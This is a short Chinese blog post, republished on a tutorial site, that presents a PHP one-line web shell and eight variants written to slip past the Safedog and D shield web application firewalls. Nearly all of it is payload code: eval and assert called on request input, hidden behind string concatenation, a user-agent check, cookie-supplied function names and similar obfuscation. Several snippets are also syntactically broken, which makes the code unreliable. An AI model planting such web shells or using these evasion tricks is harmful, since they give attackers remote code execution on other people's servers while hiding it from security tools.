绕过WAF-一句话木马

こ雲淡風輕ζ 提交于 2019-12-10 11:27:59

注:本次的测试环境是最新的安全狗Apache:V4.0
一句话木马:<?php eval($_REQUEST['a'])?>
1.但是这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如eval换成assert()或者reate_function()或者是call_user_func()
2.使用end()函数来代替,可以写成:

<?php eval(end($_REQUEST)); ?>

注:密码是随便写,在安全狗上是查不出来的,但是D盾会查出一个最低价的危险,所以,如果要让D盾完全测不出来可以这样写:

<?php if($_SERVER['HTTP_USER_AGENT'] === '1'{
eval(end($_REQUEST));} 
?>

3.字符拼接加双美元符

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['a']);
?>

4.常量

<?php
defin("a","$_REQUEST['a']");eval(a);
?>

5.用函数强行分割

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

6.用类分割

<?php
class User
{public $name=' ';
function_destruct(){
eval("$this->name");
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>

7.多方式传参

<?php
$COOKIE=$_COOKIE;//得到数组
foreach($COOKIE as $key => $value)
{if($key == 'assert'){
$key($_REQUEST['a']);
	}
}
?>

8.CTF中看到的一个手法(但是D盾可以发现这个木马)

<?php
$a=get_define_functions();
$a['internal'][841]($_REQUEST['hh']);
?>
注:$a['internal'][841]表示的是assert
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!